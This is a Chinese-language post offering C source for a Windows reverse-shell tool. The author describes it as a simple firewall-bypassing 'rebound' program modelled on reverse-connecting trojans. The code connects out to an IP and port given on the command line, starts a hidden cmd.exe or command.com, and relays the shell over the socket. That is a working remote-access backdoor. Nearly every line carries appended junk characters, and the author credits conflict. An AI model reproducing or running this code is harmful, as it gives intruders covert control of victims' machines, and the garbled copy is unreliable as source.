这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gE\&[;)DB
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/* ============================== DS%~'S
Rebound port in Windows NT n
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By wind,2006/7 e];lDa#4-Y
===============================*/ x+EkL3{
#include Je5}Z.3m
#include u0zF::
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#pragma comment(lib,"wsock32.lib") @IhC:Yc
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void OutputShell(); J}BN}|Y@2
SOCKET sClient; X6*4IE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9sG]Q[:.]
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void main(int argc,char **argv) -M5vh~Tp
{ dhv?36uE
WSADATA stWsaData; f$ 9O0,}%O
int nRet; hK+6S3-Ez
SOCKADDR_IN stSaiClient,stSaiServer; >~:Md
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if(argc != 3) G!dx)v
{ \Kr8k`f
printf("Useage:\n\rRebound DestIP DestPort\n"); 2*Zk^h=
return; G%iTL"6
} %e^GfZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); l0 =[MXM4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mX 3p
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stSaiClient.sin_family = AF_INET; ;`Nh@*_
stSaiClient.sin_port = htons(0); t.y-b`v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :^7>kJ5?
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O,6Wdw3+-3
{ MH=7(15R
printf("Bind Socket Failed!\n"); ;NU-\<Q{
return; `6$|d,m5
} )Zf1%h~0r
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stSaiServer.sin_family = AF_INET; 7UIf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {Y-~7@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `+z^#3l
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5skxixG
{ mww<Xm'
printf("Connect Error!"); vAp<Muj(a
return; m<H{@ZgN(
} n,U?]mr
OutputShell(); ZDg(D"
} KpA1Ac)T
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void OutputShell() &AN1xcx\
{ B (Ps/
char szBuff[1024]; H2H`7 +I,
SECURITY_ATTRIBUTES stSecurityAttributes; *Nm$b+
OSVERSIONINFO stOsversionInfo; >-w(P/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {{jV!8wK
STARTUPINFO stStartupInfo; _f'v>"K
char *szShell; JIhEkY
PROCESS_INFORMATION stProcessInformation; y];-D>jk
unsigned long lBytesRead; z',Fa4@z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [\AOr`7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yQuL[#p
stSecurityAttributes.lpSecurityDescriptor = 0; Xu8I8nAwl
stSecurityAttributes.bInheritHandle = TRUE; 6<2H 7'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *,mI=1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <+k"3r{y"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8l_M 0F,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J$Z=`=]t+
stStartupInfo.wShowWindow = SW_HIDE; 2]1u0-M5L
stStartupInfo.hStdInput = hReadPipe; U.KQjBi
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rUpe ;c
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GetVersionEx(&stOsversionInfo); LRVcf
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switch(stOsversionInfo.dwPlatformId) RWc<CQcL"
{ Hs*["zFc
case 1: T]\c2U
szShell = "command.com"; ;I&VpAPx
break; I]^>>>p$
default: ?u|@,tQ[
szShell = "cmd.exe"; 4q E95THB
break; _Z23lF9
} 8LbwEKl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VGmvfhf#"
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send(sClient,szMsg,77,0); 5?lc%,-&
while(1) ^Jp,&
{ )V\@N*L`ik
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z$e6T&u5B
if(lBytesRead) Pg%9hejf3
{ ?3=G'Ip5n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7~ PL8
send(sClient,szBuff,lBytesRead,0); 2 %dL96
} ;$QC_l''b
else
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{ @eJCr)#}
lBytesRead=recv(sClient,szBuff,1024,0); <.Ws; HN}
if(lBytesRead<=0) break; 1Y|a:){G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j-":>}oW2.
} `
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} hW~.F
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return; uMJ\
}